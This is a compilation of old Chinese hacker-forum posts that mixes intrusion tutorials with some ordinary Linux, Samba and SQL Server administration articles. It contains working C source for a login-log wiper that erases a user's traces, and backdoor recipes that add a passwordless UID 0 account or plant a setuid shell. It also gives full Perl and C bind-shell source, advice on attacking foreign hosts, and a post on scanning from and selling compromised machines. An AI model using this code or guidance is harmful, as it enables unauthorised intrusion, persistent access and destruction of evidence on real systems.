#include <utmp.h>

#ifdef UTMAXTYPE
#define UTMPX
#include <utmpx.h>
#endif
#include <pwd.h>
#ifndef _PATH_LASTLOG
#include <lastlog.h>
#endif
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>

#define SVR4_UTMP "/var/adm/utmp"
#define SVR4_WTMP "/var/adm/wtmp"
#define SVR4_LASTLOG "/var/adm/lastlog"

#define SUNOS4_UTMP "/etc/utmp"
#define SUNOS4_WTMP "/usr/adm/wtmp"
#define SUNOS4_LASTLOG "/usr/adm/lastlog"

#define BSD_UTMP "/var/run/utmp"
#define BSD_WTMP "/var/log/wtmp"
#define BSD_LASTLOG "/var/log/lastlog"

#define MAX_FPATH 512

int wipe_log(path,user,type)
char *path,*user;
int type;
{
struct utmp utmp_ent;
#ifdef UTMPX
struct utmpx utmpx_ent;
#endif
void *ent;
char *un;
int sz,fd,c=0;

if (strlen(path)==0) return(1);
if (type==0){
ent=(void *)&utmp_ent;
#ifdef UTMPX
un=(char *)&utmp_ent.ut_user;
#else
un=(char *)&utmp_ent.ut_name;
#endif
sz=sizeof(struct utmp);
}else{
#ifdef UTMPX
ent=(void *)&utmpx_ent;
un=(char *)&utmpx_ent.ut_user;
sz=sizeof(struct utmpx);
#endif
}
if ((fd=open(path,O_RDWR))<=0) return(-1);
while(read(fd,ent,sz)>0)
if (!strncmp(un,user,strlen(user))){
memset(ent,0,sz);
lseek(fd,-sz,SEEK_CUR);
write(fd,ent,sz);
c++;
}
close(fd);
printf("Wiped %d entries of %s from %s.\n",c,user,path);
return(0);
}

int wipe_lastlog(path,user,type)
char *path,*user;
int type;
{
struct passwd *p;
struct lastlog ent;
int fd;
char buffer[MAX_FPATH];

if (type==0) strcpy(buffer,path);
else sprintf(buffer,"%s/%s",path,user);
memset(&ent,0,sizeof(struct lastlog));
if ((p=getpwnam(user))==NULL) return(-1);
if ((fd=open(buffer,O_RDWR))<=0) return(-2);
if (type==0)
lseek(fd,p->pw_uid*sizeof(struct lastlog),SEEK_SET);
write(fd,&ent,sizeof(struct lastlog));
close(fd);
printf("Wiped %s from %s.\n",user,path);
return(0);
}

main(argc,argv)
int argc;
char *argv[];
{
char f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH];
char f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH];
char f_lastlog[MAX_FPATH];
struct utsname utname;
int lastlog_type;

if (argc!=2){
printf("Usage: %s Usernane\n",argv[0]);
exit(1);
}
if (getpwnam(argv[1])==NULL){
printf("Unknown user : %s\n",argv[1]);
exit(1);
}
uname(&utname);
strcpy(f_wtmpx,""); strcpy(f_utmpx,"");
if (!strcmp(utname.sysname,"SunOS")){
#ifdef UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=0;
#else
strcpy(f_utmp, SUNOS4_UTMP);
strcpy(f_wtmp, SUNOS4_WTMP);
strcpy(f_lastlog, SUNOS4_LASTLOG);
lastlog_type=0;
#endif
}else if (!strcmp(utname.sysname,"Linux")
|| !strcmp(utname.sysname,"FreeBSD")){
strcpy(f_utmp, BSD_UTMP);
strcpy(f_wtmp, BSD_WTMP);
strcpy(f_lastlog, BSD_LASTLOG);
}else if (!strcmp(utname.sysname,"IRIX")){
#ifdef UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=1;
#else
printf("Can not wipe. System Unknown.\n");
#endif
}else
printf("Can not wipe. System Unknown.\n");

wipe_log(f_utmp, argv[1],0);
wipe_log(f_utmpx,argv[1],1);
wipe_log(f_wtmp, argv[1],0);
wipe_log(f_wtmpx,argv[1],1);
wipe_lastlog(f_lastlog,argv[1],lastlog_type);
}
^d

[root@ns webmaster]# gcc -o wipe wipe.c
[root@ns webmaster]# ./wipe webmaster ----->>./wipe username就可以扫掉脚印了！

（2）扫描弱口令或暴力破解口令
A：弱口令使用于大范围搜捕，即利用少量常见多用密码去推测大量主机的telnet，ftp或pop3
B：暴力破解适用于针对某一主机，比如说利用finger获得了用户列表，即可采用字典攻击！或者说利用其他漏洞（如phf漏洞）获得了passwd，shadow文件，可以拿john或者乱刀解破，能否解破？看运气！

（3）利用特洛伊木马窃取口令（我没有这么做过，但这不失为一种方法）

（4）网络监听和数据截取（大家和我一起努力吧，努力学会利用这种方法)

(5)这里给大家几个简单的后门程序，复杂的自己去看！
a1:口令文件 passwd 中增加一个 UID 为 0 的帐号
#include　<stdio.h>

main()
{
FILE　*fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
}
a2:在 /tmp 目录下放置 suid shell
#include
main()
{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
a3:管理员偶然地输入cd..时向/etc/passwd文件添加一个UID　0　帐号
#include　<stdio.h>
#include　<stdlib.h>

main()
{
FILE　*fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
system("cd");
}
（6）攻击（特别是溢出）的方式很多，但方法大多大同小异，故不再赘叙！

四：补充说明

1：如用supperscan发现某ip段存在大量unix主机，马上转用弱口令破解；或发现某连续ip段全是同一个unix版本操作系统，则此ip段很有可能是某大公司，企业，高校或其他，一般防护甚严，不存在溢出漏洞，无需逐一尝试溢出，随便选两三个试试看行不行；
2：到信息产业发达的国家去找，比如说美国，日本...不要找国内的，又少又危险！
3：若发现telnet不上上次成功溢出的肉鸡，说明此肉鸡的ip是动态的，但ip改变不会太大，在临近ip再搜一遍即可！

五：强调说明

不要简单地认为你已经轻易地檫干净了你的入侵痕迹，很多有经验的管理员都把日志文件转到了其他主机上或作相关安全处理，一旦管理员发现了入侵，他会从如下方面来分析攻击者的入侵方式，你应该以此做出相应的应对措施：
1：查找系统文件和系统培植文件的变化；
2：查找数据文件的变化；
3：查找入侵留下的数据文件和相关工具；
4：检查日志文件
5：查找出网络监听的迹象
6：检查局域网上的其他计算机。

六：本文中存在的缺点错误还望容忍并多加批评与指正！本文欢迎转载，但请务必保持全文完整！

七：警告，请清醒地估量你的行为可能带来的后果！

作者：萤城客 E-Mail:8ddddd@21cn.com


巧配samba实现WIN2000和Linux文件共享

随着Linux的普及，如何共享Linux下的文件成为用户关心的问题。其实，几乎所有的Linux发行套件都提供了一个很好的工具Samba——通过它可以轻松实现文件共享。Samba是基于SMB协议的一个应用程序，目前的版本是2.3.x。Samba的功能很强大，但易用性也极差。原因是它的配置文件太大而且不容易理解，新手和熟手都对其望而却步。但是，如果仅仅实现文件共享这一单纯目的，配置Samba也很简单，只需熟悉几个操作即可。下面我用一个例子说明这几个操作。
假设你已熟悉Linux的基本操作，并且熟悉VI编辑器的使用。
现在我们有三台PC,一台安装了Win 2000，名字是test2000，其上有共享文件夹share；其余两台安装了Linux，一台名字是testsamba，其上有一目录/pub；另一台名字是testlinux，其上也有一目录/pub。我们要实现的目标是把testsamba上的/pub共享，供test2000和test_linux使用。
对test_samba我们进行下面操作：
在/etc/下找到smb.conf，用VI编辑器打开；
# vi /etc/smb.conf或vi /etc/samba/smb.conf
在【gobal】字段下，添加netbios记录，一般加在workgroup记录的下一行；
netbios name = testsamba
在【gobal】字段下，修改secrity记录;
secrity = share
在【public】字段下，修改path记录；
path = /pub
在【public】字段下，添加geuest ok记录；
guest ok = yes
删除【public】字段每行行首的“；”标示；
保存退出。
简单解释一下，添加的“netbios name”是可以在test2000网络邻居中看得见的机器名；添加的/pub是可以在网络邻居中看见的共享目录；添加guest ok是允许所有用户都可以guest账户访问共享；删除“；”标示是要整个【public】字段成为可执行。
现在/pub就成为可以被test2000和testlinux两台机器共享的目录了。简单吧！
试试看：
西南政法大学法学一系2000级本科5班 蓝天龙

在testsamba下，为使用test2000下的共享文件夹可以进行以下操作：
# smbclient -L //test2000
此命令可以查看test2000下的共享情况，注意在系统要求输入password时，直接回车即可进入test2000，此时屏幕上列出test2000下的共享。
#smbclient ＼＼＼＼test2000＼＼share -U share
此命令可进入test2000的share目录，屏幕上出现MS-DOS的提示符(：＼)时说明用户进入了share目录。此时可以在提示符后输入“？”命令查找你可使用的命令。
在test2000下，使用testsamba的共享目录/pub，可以进行以下操作：
查找计算机testsamba，当testsamba目标出现时，双击图标pub，即进入共享文件夹pub了。
在testlinux下，使用testsamba的共享目录pub，可进行如下操作(假设已知pub存在)：
#smbmount //testsamba/pub pub
此命令可把testsamba下的pub挂到本机的pub上，同上在系统要求输入password时，直接回车，接着依次输入#cd /pub/pub、#ls，屏幕即列出testsamba的pub目录下的文件了。
Win 2000和Linux实现文件共享了，简单吧。


去除SA的xp_cmdshell权限

www.sandflee.net 2002-5-20 灰色轨迹

当大家从SA为空密码入侵得到一台服务器的时候，如果你不想在被其他的人入侵（自私）那么应该是首先更改SA的密码，然后在做其他的安全设置。可是当你辛辛苦苦的把安全都做的很好的时候，几天之后你发现SA的密码又为空：（
哈哈，是不是很生气？难道SA会自己把密码改回来？那当然不是了，是因为一般的网站采用的是ASP+SQL架设而成的，所以你改了他的SA密码，那么就导致他的网站无法运行了。那么有的很懒的管理员才不去想那些事情，直接把SA的密码在改为空。很气人吧？我就碰到过这样的问题，我改掉密码后，管理员第2天准的又改为空，让你哭笑不得，其实我想管理员也是哭笑不得了，干吗老改我的SA密码啊？你能有更好的办法告诉管理员么？

倒了半天的苦水，还是开始如何去除SA的CMDshell了：）

选择 开始——程序——Microsoft SQL Server——查寻分析器（Query
Analyzer)如图：

然后你可以看到如下面的这个窗口：

第一项让你添写SQL的服务器地址，因为我是在自己的机器上测试的，所以就在SQL
SERVER：那里写127.0.0.1

在看下面的连接使用（Connection InFORMation）：

第一项：Windows身份验证（Use Windows NT authentication）

第二项：SQL Server身份验证（Use SQL Server authentication）

因为我是在本地操作，所以选择第一项，当然你选择第二项也可以，（注：如果你是3389控制操作那么直接选择第一项就可以省略输入SA和密码验证这一步）然后按确定（OK）即可看到下面的窗口如图：

然后在那个查询的窗口中输入：if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

GO

然后按F5键命令执行完毕。然后关闭SQL查询器是问你是否要保存，你选择不保存退出。然后你在用SQL的客户端或者流光自带的SQL连接上去看看，执行NET命令看看，如图：

到此SA的CMDSHELL权限就被去除了，当然你也不可以在使用SA作为后门了：（

以上测试在SQL7.0与SQL2000版本中通过

这下即使别人得到SA的密码也不能执行NET命令了，是不是不用担心了？可是我在告诉你哦，既然可以去除SA执行CMDSHELL权限，当然就可以在恢复SA可以执行CMDSHELL权限了，恢复SA的CMDSHELL权限也测试成功，只是SQL7.0和SQL2000版本使用的命令不一样。在这里我就不写出来了，有兴趣的朋友可以自己测试。

在学习过程中WAWA和沙子给了我很大的帮助，在这里向你们俩真心的感谢并附言：快点找GF呀，呵呵！~

补充：

其实在SQL中存储扩展很多，但是基本上不会用到xp_cmdshell这个扩展，当然我也是根据SQL的联机手册看的，所以才确定xp_cmdshell删除后不会造成影响。采用SQL+ASP的结构如果他是在安装SQL时候选择混合式那么就得使用密码验证，在SQL7.0中SA的默认密码为空，有的管理员不了解安全问题为了方便所以就使用空密码，那么使用密码验证都会有一个global.asa文件，也就是数据库验证文件，在那个文件中你可以找到以下这一句：

Application("strConn_Comm") =
"Provider=SQLOLEDB.1;Password=123;Persist Security Info=True;User
ID=sa;Initial Catalog=DBJobs;Data Source=211.***.***.***;Connect
Timeout=15"

Application("strConn_Manage") =
"Provider=SQLOLEDB.1;Password=123;Persist Security Info=True;User
ID=sa;Initial Catalog=DBJobs;Data Source=211.***.***.***;Connect
Timeout=15"

Application("strServerIP")="211.***.***.***"

从以上的连接语句中我们可以看出SA的密码为123如果SA的密码被改了，那么除非你在这个文件里把password的值改成SA的密码一样，否则他的网站遍出现ODBC数据错误，global.asa多少行多少行错误。就像有的朋友在问为何SA的密码设置的很强壮但是流光却还是可以把SA的密码扫出来？那么现在大家应该明白流光为何可以把那些很复杂的密码扫出来了，那就是因为文件设置的权限错误导致流光读取了global.asa文件中的数据库连接语句。所以大家如果自己写程序的时候最好不要使用SA来做为验证，可以建立一个普通的用户。如果我们是从SA入侵了，那么如果改掉SA的密码当然也的更改global.asa文件，那么管理员就会发现他的机器被入侵了。（注：以上的SA验证语句只是其中的一个手法，每个程序员所写的连接语句都不一定会一样）以上如果有错误请大家指正。

（注：如要转帖请注明出自灰色轨迹http://www.sandflee.net)

（如用于商业行为，请联系原作者）

原作者：似水骄阳
来 源：灰色轨迹


让缺省的Linux安装安全起来

原著：Aleksandar Stancin aka DPressed

本文是为linux新手或者那些关心（至少是有点关心）自己硬盘上的数据的人编写的。你会注意到本文面向的对象主要是家庭用户，而不是大型网络管理员或者其它类似的用户。

你也许有些奇怪为什么有人会访问你的数据呢？嗯，用这个反问句作为答案怎么样：为什么不呢？你知道，（在internet这个大舞台上），有很多人都喜欢把别人的数据搞得一团糟。这里有很多问题值得一提，但是我们现在距臭名卓著的Y2043年臭虫也只有43年了，为了本文自身价值考虑，我们忽略这个问题......

因此，你自己拿到了这个奇异的linux发行版本，现在世界就在你的掌握之中了，任何人都不要妄想用它兴风作浪了...eeee!!!全错了！证据#1：只要你没有执行适当的维护工作，那么你选择linux作为操作系统和使用其它操作系统同样不安全！实际上，采用linux作为操作系统比采用其它操作系统更不安全，特别是如果你是一个十足的新手，昨天才刚刚把linux给安装上。女士们、先生们，不用担心，我十分荣幸地向大家介绍：

Paranoia Inc.

所有用户首先绝对要采用的是Shadow（我实际上并不是在说Baldwin兄弟...）。是的，使用shadow口令。

最初，所有的用户登陆进系统，口令都被保存在/etc/passwords文件中，这是一个简单的.txt文件，所有的用户都可以访问这个文件。所有主要的linux发行版本现在都采用了shadow口令选项，因此你就用它吧，就算是为了上帝，使用它好了！这样会把你的口令放在/etc/shadow文件中，因为用户并不能访问这个文件，只有万能的上帝--超级用户才可以访问该文件。

而且，只要我们一提起口令，那么使用尽可能复杂的口令总是个好建议。例如，使用4gh7$21作为口令比使用"bob"或者"flower"等作口令要好多了。要避免使用任何简单的或者和当前用户有关的口令。

现在我们就充实一下这些问题...

在你第一次安装linux时，你肯定不会注意到启动时快速闪现的信息，比如启动sendmail、lpd等等。也许你并不知道这个迷人的宠儿打开了一个供自己使用的特定端口，这样就给linux开了个小洞，从而从外面就更容易访问了。因此，这些漏洞必需死去，但是让我们允许它快点安乐地死去吧，在你的/etc目录下找到inted.conf文件并把所有不必要和对你来说没有什么用处的部分都注释掉（使用#，只要在该行开始插入它就可以了），例如rexec、rsh、rwho和其它需要从网络上登陆到你的计算机的东西。

如果你认为这些内容你都不会使用，你也可以关闭inetd守护进程。如果你使用POP3帐号来下载自己的email，而且并不希望使用其它服务，那么现在你就可以关闭sendmail守护进程了。

如果你是一个新手，就把这些服务都关掉把，你很可能根本就不需要这些内容：sendmail、lpd、inted。可能还有很多，但是由于系统的特殊化，很难对它命名。如果你找到其它你并不希望使用的服务，也把它们杀掉好了，除了关闭这些端口之外，你还释放了一些内存。也许你会希望检查一下这些内容来获得你实际上不需要的后台进程的更详细信息。

不幸的是，我并不能告诉你你会使用哪些服务，不使用哪些服务，因此你只好自己解决这个问题了。这样处理以后，你的linux有点安全了，但是还不够，至少对于普遍的Paranoia
Joe来说还不够...

因此，你走到了这里，关闭了自己不希望使用的后台进程，很好！现在让我们涉足一些更严重的问题。

再次进入/etc目录，编辑hosts.deny文件，增加一行ALL:
ALL。简单么？现在你已经禁止其它主机访问你的计算机了。在你希望允许一些主机访问你的计算机时，就编辑hosts.allow文件，把允许的主机放到这个文件里。在命令提示符中键入"man
hosts.allow"就可以看到更多有关hosts.allow的内容。

Hmmmm，更深入一点，看一下现在哪些端口打开了怎么样？试试这个：输入"nmap
localhost.localdomain"，用你选择的主机名来代替localhost。现在你应该可以看到你的计算机上的所有活动端口了。提示，使用"man
nmap"来看一下有关nmap命令的更多内容。你没有？没有问题，从这里下载好了（http://www.insecure.org/nmap）。

我可以看到你的眼睛在发亮，想知道更多内容么？

输入"netstat -l"或者更好的方法是使用"man
netstat"来看一下有关你机器上打开和监听的端口的更详细的内容。在分析netstat命令的结果时不用理会"Active UNIX
domain sockets (only
servers)..."一行后面的内容，不要问为什么，如果你已经知道了那么就根本不需要我告诉你了。下面是"netstat
-l"输出的一个例子：

Active Internet connections (only servers)

Proto Recv-QSend-QLocal Address Foreign AddressState
tcp 0 0 *:6000 *:* LISTEN
raw   0 0 *:icmp *:* 7
raw  0 0 *:tcp*:* 7

Active UNIX domain sockets (only servers) -
txt文件在这里（http://www.net-security.org/text/articles/default_1.txt）。

通过简单关闭所有你不需要或者不想使用的服务和守护进程，你就可以保证打开端口的数量最少。也就是说，在上面的例子中，只有端口6000是活动的，但是我们通过在文件中调用你的GUI的行中增加"-nolisten
tcp"就可以把它关闭，所有的配置文件都位于/etc目录。试试找到这些文件，浏览一下你的系统，有时候这很有意思...当你禁止了不需要的内容之后，你应该可以看到没有端口仍在监听了，这样你就感到有点安全了。注意，当在线时有些端口是打开的，例如，如果你使用一些ICQ。

接下来要介绍的是空前著名的防火墙，是的，就是防火墙，神秘的防火墙。如果你想了解更多内容，我建议你试试以下内容。最基本的，通过使用"ipchains"命令（hmmm，"man
ipchains"听起来怎么这么耳熟啊？）你就可以控制所有到达/来自于你的计算机的通讯，当然你必需要正确设置你的防火墙规则。让我们给出一个例子：

ipchains -A input -i ppp0 -p TCP -d 0.0.0.0/0 $portnumber -j DENY

这里的$portnumber代表你希望隔离的实际端口号。也许你不希望被ping到（至少是icmp ping）：

ipchains -A output -i ppp0 -p icmp -j DENY

有关ipchains可以写很多内容，最好的方法是自己去一点一点地探究，了解一点，试验一点，但是不要担心后面罗列的那一长串参数，因为你可以以很简单的方法使用ipchains。如果你希望了解更多内容，这里有一个很好的ipchains-HOWTO（http://www.linuxsecurity.com/resource_files/firewalls/HOWTO/IPCHAINS-HOWTO.html）。

所有这些过程都会使你的系统变得安全点，但是记住并没有绝对的安全。只有人们按照系统允许的操作去维护系统，系统才是安全的。对连接到internet的服务进行限制并关闭服务是一种防止差错泛滥的方法。记住，对你从网络上接收到的内容以及发送者保持警惕，不要忘记经常对重要文件进行备份。综合使用这些方法会向你证明这是很有意义的。

还有，最后一种但不是必需的方法--补丁。经常给你的软件找些新的补丁和解决方案。这些你可以在最近的linux发行商站点上找到。永远不要沉睡不醒...

自己从各种资源（例如发行商，安全站点，等等）订阅一些邮件或者新闻列表是个好主意：

Linux Security Newsletter and Security Advisories Weekly
(http://www.linuxsecurity.com/general/newsletter.html)
Security Focus Linux
(http://www.securityfocus.com/forums/focus-linux/intro.html)
Help Net Security Newsletter
(http://www.net-security.org/text/newsletter)

推荐一些有用的站点：
http://www.linuxsecurity.com/
http://www.slashdot.com/
http://www.rootprompt.org/
http://www.linux.com/
http://www.xmission.com/~howardm/

上面提到的这些过程都由本文的作者在所安装的linux发行版本SuSE 6.4上经过了测试。

(原文URL: http://www.net-security.org/text/articles/default.sh


肉鸡scan

在尊敬的小榕同志发布fluxay4.5以前....(有了fluxay4.5就不用这么麻烦了)谈谈这些天论坛上关于在肉鸡上扫描的话题:现在很多同志都将一些扫描软件放到肉鸡上跑,这样做的好处是1一般同志们找到肉鸡接入英特网的速度都很高,扫描速度会很快,2这样不会暴露自己的IP,行走江湖,安全第一3节省时间,保护同志们口袋里的钞票但是,在肉鸡上扫描的时候是不是要看着它扫描呢?不是的,可以让它去干,同志们歇着,实现其实很简单:例:(1)3389登陆肉鸡.进行扫描后,按ctrl+alt+del切回本地,选"任务管理器" 在"应用程序"中把前面打开的终端连接杀掉.好了,你该干什么干什么去, 回头再上去看结果,终端会又连上上次断开时的界面.还没扫描完的话, 你会看到程序还在拼命的工作,呵呵!好可爱!!!(2)在命令行登陆.如用telnet等shell窗口,运行扫描软件后,将鼠标移到屏幕下方的面板条,指向你开的shell,点右键,选关闭.好,该干什么干什么去,回头上去一看结果,哈哈,扫到了3000多个administrator为空,2000多个二次解码1000多个FreeBSD-telnetd,嘴都笑歪了!!!(这样多好啊!拿去卖钱!!肉鸡..肉鸡..一毛钱仨,走过路过别错过啊!!!!!呵呵!)(3)同样道理,在linux下,登陆肉鸡开始扫描后,你只用alt+F2 or F3等切换到你另外一个窗口,#PS 接着#KILL,好了,该干什么干什么去,回头上去看结果!抛砖引玉,仅供参考.测试环境:(已通过)本地:WIN2000/LINUX 2.2.16远程:WIN2000/NT4扫描软件:fluxay4/sfind1.81/x-scan
wawa 2001.8


如何创建NT启动盘？

请按下面步骤创建NT启动盘。

使用NT格式化软盘，这样软盘的启动分区内就会有Ntldr；
复制NTdetect.com和Boot.ini；
如果你使用的是非SCSI兼容的BIOS，而且又使用了SCSI适配器，你还需要复制Ntbootdd.sys，如果你有自己的SCSI驱动程序AHA154x.SYS，将它复制到软件上，更名为Ntbootdd.sys；


如何创建后门

千辛万苦（or 轻而易举）的取得root后，当然希望长久的保持.
以被以后用来。。。d0ing what u want t0 d0
传统的方法就是建立一个后门(backd00r).即使入侵被发现，好
的（先进）后门仍然能够使你再次轻松的破门而入 -- 请记住：
" we come back and we are the h.a.c.k.e.r "
--
创建后门的方法如下：
-
1. setuid
#cp /bin/sh /tmp/.backdoor
#chmod u+s /tmp/.backdoor
加上 suid 位到shell 上，最为简单方便，但也最为容易被ADM
发现 find / -perm 4000 -print;同时在大多数的SUNOS 上
你会发现不能setuid。-- 适用于新手；
-
2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd
即给系统增加一个 id 为 0（root)的帐号，无口令；
也很容易被发现。 -- 适用于新手；
-
3.echo "+ zer9">>/.rhosts
即本地的名为 zer9 的用户可以直接 rlogin target 无须口令
此时的 zer9 就相当于口令，不知道的人是不能进去的.
前提是目标的port 512or513or514 opening.
注： 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标
导致目标门户打开，最好不要；
还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限；
-- 适用于比新手高一点点,比中级水平低一点点的guys;
-
4.modify sendmail.cf 增加一个"wiz" 命令;
usage:
telnet target 25 [enter]
wiz[enter]
这是我从SAFEsuite中学到的（但没试过）；比较危险。因为几乎
所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易
猜到的名字。比较复杂，危险，但ADM不易发现，隐蔽性较强；
你只在你的机器上试一试就okay了；
-- 顾名思意，大师级漏洞；
5. crack suck as inetd,login,...
即安装它们的特络绎版本。你需要找到各版本unix的rootkit;
然后分别编译即可；-- 如果目标机上没有安装 tripwire之类
的东东，那几乎不可能被发现。linux&sunos&freebsd的可能
好找，但其他的了？即使你找到了，你有对应平台上的编译器
吗？我有一台运行 slackware,one running irix,one running
sunos,one running hpux,one running digits unix,...
hahhahha,我又做梦了
-- 我个人认为是最好的方法，但实现起来有一定风险，
你必须考虑到如果你的木马运行出错怎么办--因为
我们所做的一切都必须以不破坏目标机上的任何数
据为原则；
-
6.ping rem0te backd00r
即使是防火墙也很少阻止 ICMP 的通过，因此本后门可绕过
防火墙。具体的程序你可在 [THC] 的主页发现；
我想到了另外一种直接用ping命令实现的可通过防火墙的
方法 ：
一方在防火墙内，一方在防火墙外；除 ICMP 外；通向防火
墙内的信息均被过滤掉 ：(
用 60k data 代表长,10k data 代表短；使用摩尔思编码；
（或其他自定义编码）
双方通过 ICMPinfo 接受信息（ping 's data length)；
“嘀，嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江，我是黄河-
-- 向我开炮！向我开炮”(^o^);
以后有时间我会通过程序来实现验证可行性的。
(技术上应该没有什么难度）
-
7.rem0te shell
我最喜欢的方式。而且由于绕开了login,故用 who 无法
看到--也就是说，避开了utmp&utmpx&wtmp&wtmpx;但没有
完全避开 syslogd.ADM仍可以在/var/log/messages中发现
你。不过，有一种方法可以彻底完全的旁路 syslogd!且听
下面一一道来.
bindshell的实现有两种：
a.
替换掉 inetd.conf 中的不重要服务，如 rlogind
在inetd 接受 connect 请求后,直接在本端口
利用 system("/bin/csh -i");
直接spam 出一个shell，
b. 接受 connect 后，在高端spam出一个shell;
（更安全 ：）
下面我给出一个perl 实现（不需socket libary支持）
(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)
和一个 gnuc 的实现（test on slackware 2.0.33&irix6.4)
---
perl 版安装方法：
###无须编译！！只要目标机上有perl支持就okay!
如何判断有无perl: $/>perl [enter]

[ctrl-c]
$/>
-
如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面
的方法有很大的危险性, exit(-1) please;
-
首先将源程序cut，存为你想要替换的daemon,如in.rexecd or
or in.rlogind ,in.pop2d....最好是已经被ADM关掉了，而且
不太引人注目的daemon,注意，一定要是 TCP types.然后
mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak )
cp in.rexecd /usr/sbin/in.rexecd
然后 ps -aux|grep inetd;kill -HUP id(by inetd);
okay! 连 /etc/inetd.conf 都不要改。
重申一点：不论在任何情况下，我们都要尽最大的可能保护数据！
-
Usage: nc target <ur changed daemon's port> (such as 512)
[enter]
ur passwd [enter]
(then u login in...

----Cut Here------------------------------------------

#!/usr/bin/perl
#
# BEST
# SIMPLE
# rem0te bind shell
#[perl version only tcp]
# by
# zer9[FTT]
# zer9@21cn.com
#passed on allmost unix
#greet to:van Hauser/[THC]
# for his daemonshell.pl
#
$SHELL="/bin/csh -i";
#d3f4ult p4sswd 1s "wh04r3u" (no quote);
$PASSWORD="BifqmATb6D5so";

if ($PASSWORD) {
chop($pass=<STDIN>;
if (crypt($pass, $PASSWORD) ne $PASSWORD) {
exit 0;
}
exec $SHELL ;
exit 0;
}

----Cut Here--------------------------------------------

下面是一个for gnuc 的bindshell,first cut it,save as
backdoor.c ,then cc backdoor.c -o backdoor
other action just l1ke before;
Usage: (exp:binding to in.rlogind (513))
nc target 513 //spam a shell on the high port;
nc target 54321
ur passwd
(then u coming in...)

----Cut Here-------------------------------------

/*
* [ b i n d - s h e l l ]
* by
* zer9[FTT]
* zer9@21cn.com
*test on slackware 2.0.33&irix6.4(cc)
*cc backdoor.c -o backdoor
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m
*c0mm4nd l1n3: backdoor [port]
*d3fault p0rt 1s: 54321
*greets to b4b0 for his b4b0.c
*m4yb3 1 c0uld s4y:
*"0k,b4b0.l1st3n c4r3fully;"
*s0rry,just a joke.
*
*/

#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

#define PassWord "k1n90fth3w0rld"
/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */

#define DefaultPort 54321
/* d3f4ult b1nd1ng p0rt */

int main(int argc,char **argv)
{
int s,in_s;
struct sockaddr_in server,client;
int client_len,bindport;
char recvbuf[1000];

if(argc!=2) bindport=DefaultPort;
else
bindport=atoi(argv[1]);
if((s=socket(AF_INET,SOCK_STREAM,0))<0)
{
perror("socket");
return -1;
}
bzero((char *)&server,sizeof(server));
bzero((char *)&client,sizeof(client));
bzero(recvbuf,sizeof(recvbuf));
server.sin_family=AF_INET;
server.sin_port=htons(bindport);
server.sin_addr.s_addr=INADDR_ANY;
if(bind(s,(struct sockaddr *)&server,sizeof(server))<0)
{
perror("bind");
return -1;
}
if(listen(s,3)!=0)
{
perror("listen");
return -1;
}
client_len=sizeof(client);
if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0)
{
perror("accept");
return -1;
}
recv(in_s,recvbuf,sizeof(recvbuf),0);
sleep(1);
if((strlen(recvbuf)-1)==strlen(PassWord))
if(!strncmp(recvbuf,PassWord,strlen(PassWord)))
{
send(in_s,"0k4y! c0m1ng 1n...\n",25,0);
close(0);close(1);close(2);
dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);
execl("/bin/csh","/bin/csh",(char *)0);
}
close(s);
close(in_s);
return 0;
}

----Cut Here-------------------------------------------------

用上面的方法都不能完全的避开syslogd,因为他们都是由
inetd 启动的，inetd启动它们的同时已经进行log 了;
旁路掉inetd就能完全避开syslog!
方法很简单，只要直接在命令行直接启动例程2(c)就可以了，
（1perl不行）;不过这样很麻烦；一旦ADM关掉计算机就玩完了；
比较好的方法是在 /etc/rc.d/rc.local中加入：
backdoor &
但即使这样作了，每次用过后还要再起动一次；更好的方法
是写一个具有完全功能(后门功能^o^）的daemon,彻底的解决这个
问题；但这样做与hack inetd 那样更有效率（安全）了？
--
8.第八种武器就是 crontab
我只知道原理，没实践过.
每到一定时间就往 /etc/passwd 中加入一条uid为0（root）
的用户；时间一道就delete ,或创建suid's shell...
在序言中提到的文章中有详细介绍；
--
9.有没有想过只要向系统的一个用户发一个email,OS 就会spam
出一个shell?利用用户的home目录下的 .forward 可作到这一点。
--
10。修改内核--超级高手的做法；2.2.0的解压文件达到了50几MB,
看到就头痛。接着就 jmp ffff0 (不是看到内容，而是看到大小）;
[THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看；
--
11.还有就是利用 overflow 程序，虽然我们一般是利用它取得root;
但只要 ADM && u 没有 patch ,始终我们可以利用它的，与suid
不同的是它不怕被 find / -perm 4000 发现；一般只有 tripwire
可发现。
看于网易，ctrl+v于网易！！！


如何从命令行获得系统信息？

Windows NT Server Resource Kit中提供了SRVINFO.EXE，它是一个非常好的用于显示系统信息的工具。它的运行方法如下：

C:\>srvinfo


